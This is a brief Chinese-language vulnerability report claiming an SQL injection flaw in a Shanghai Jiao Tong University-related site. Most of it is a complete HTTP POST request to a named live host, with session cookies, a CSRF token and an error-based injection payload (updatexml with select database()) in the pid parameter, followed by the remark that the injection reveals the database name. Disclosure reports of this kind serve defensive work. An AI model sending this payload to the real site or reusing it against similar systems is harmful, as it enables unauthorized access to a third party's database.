上海交通大学存在sql注入漏洞

确定资产：

POST /async/loadcomment.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://sjtuscce.shiyanjia.com/
Cookie: XSRF-TOKEN=eyJpdiI6InlEMmkzT0hDZzcybG5FQzdcLzlcL2xMZz09IiwidmFsdWUiOiI1VnRGWWVpYTlrNzJUSmlVUjBnYzM5T3VKeDY3R3o0VmtvRVhhNNTjZMYk1vQW5RUTFErRFR6blRYRDNhRWtle...%3D%3D;
account_session=eyJpdiI6IlBuXC93RHNVT1JYeFNPbDlSVE1PeVlBT0iLCJ2YWx1ZSI6IkNFXC9laHFHUElaZGVfGVVCVVUybTBPRGRvZjhOYvVdVa0VMNGGMzS2FxbnkrRHU1cnhsUGU0cTE3VmhttQWJveU...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host: sjtuscce.shiyanjia.com
Connection: Keep-alive

_token=qX2Y3TTQdngk9DXPoWZ6nef24h8d708MOWlA4MzI&page=1&pid=2046%20and%20updatexml(1,concat('~',(select%20database())),3)

此处为注入数据包

可以通过注入获得库名